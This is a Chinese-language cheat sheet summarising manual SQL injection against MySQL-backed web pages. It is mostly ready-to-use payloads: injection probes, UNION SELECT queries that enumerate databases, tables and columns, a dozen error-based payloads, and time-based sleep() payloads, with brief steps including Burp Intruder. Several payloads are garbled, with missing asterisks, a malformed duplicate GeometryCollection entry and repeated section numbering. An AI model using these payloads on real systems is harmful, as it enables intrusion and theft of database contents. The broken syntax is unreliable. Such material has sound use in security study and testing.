手动SQL注入总结

1.基于报错与union的注入

注意：union联合查询注入一般要配合其他注入使用

A.判断是否存在注入，注入是字符型还是数字型，有没过滤了关键字，可否绕过

a.如何判断是否存在注入

一般有一下几种

or 1=1--+

'or 1=1--+

"or 1=1--+

)or 1=1--+

')or 1=1--+

") or 1=1--+

"))or 1=1--+

既把前面的引号或括号进行补全，后要保证格式的正确，让我们的语句可以顺利执行。

B.SQL查询语句中的字段数

order by 数字 --+

C.确定显示位，要用错误的数据，如?id=-1

union select 1,2,3--+

此处要注意，字段数要一致

D.获取当前数据库

获取库名:union select 1,database(),3

E.获取数据库中的表

获取表名：union select 1,(select table_name from information_schema.tables where table_schema='库名' limit 0,1),3

F.获取数据表中的字段名

获取字段名：union select 1,(select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 0,1),3

G.下载数据

2.盲注（返回结果只有 true 和 false）.

A.判断是否存在注入，注入是字符型还是数字型，有没过滤了关键字，可否绕过

B.依次猜测库名、表名、字段名的长度

C.依次猜测库名、表名、字段名，可使用burp得intruder模块

（orderby盲注 ）.

3.报错注入（十二种）

A.floor()

id=1 and (select 1 from (select count(),concat(user(),floor(rand(0)2))x from information_schema.tables group by x)a)--+

B.extractvalue()

id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))--+

C.updatexml()

id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+

D.geometrycollection()

id=1 and geometrycollection((select * from(select * from(select user())a)b))--+

E.multipoint()

id=1 and multipoint((select * from(select * from(select user())a)b))--+

F.polygon()

id=1 and polygon((select * from(select * from(select user())a)b))--+

G.multipolygon()

id=1 and multipolygon((select * from(select * from(select user())a)b))--+

H.linestring()

id=1 and linestring((select * from(select * from(select user())a)b))--+

I.multilinestring()

id=1 and multilinestring((select * from(select * from(select user())a)b))--+

J.exp()

id=1 and exp(~(select * from(select user())a))--+

K.NAME_CONST

and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)--+

L.GeometryCollection()

and GeometryCollection(()select *from(select user () )a)b )--+

3.时间注入（类似盲注）

A.判断库名长度

and if(length(database()>=1),sleep(5),1)--+

B.判断库名

and if(substr(database(),1,1)='s',sleep(5),1)--+

注意：时间注入和盲注，可能需使用burp的intruder模块

总结：SQL注入其实就是将自己的sql语句拼接到网页的php程序中，利用程序的设计漏洞，获取数据库的内容